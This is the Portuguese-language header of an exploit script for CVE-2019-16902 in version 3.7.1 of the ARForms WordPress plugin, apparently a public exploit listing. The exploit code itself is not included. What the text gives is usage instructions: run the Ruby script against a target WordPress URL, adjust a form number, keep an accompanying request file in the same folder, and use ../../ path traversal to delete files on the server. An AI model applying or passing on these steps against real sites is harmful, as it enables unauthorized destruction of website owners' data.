A versão atualizada da exploração pode ser encontrada sempre em: http://almorabea.net/cve-2019-16902.txt
# Link de software: https://www.arformsplugin.com/documentation/changelog/
# Versão: 3.7.1
# CVE ID: CVE-2019-16902
# ************** Iniciar anotações **************
# Você pode executar o script colocando o nome do script e, em seguida, o URL e o URL devem ter o diretório das pastas do WordPress.
# Exemplo: exploit.rb www.test.com, e o site deve ter as pastas do WordPress, como www.test.com/wp-contnet.
# Preste atenção aos 3 números no início, talvez seja necessário alterá-lo em outros tipos, como neste script, é 143.
# Mas, talvez em outras formas, talvez seja diferente, então você deve alterá-lo de acordo.
# Esta versão do software é aplicável ao ataque de desvio de caminho, para que você possa excluir arquivos se conhecer o caminho ../../ e assim por diante
# Há um arquivo de solicitação com este script, certifique-se de colocá-lo na mesma pasta.
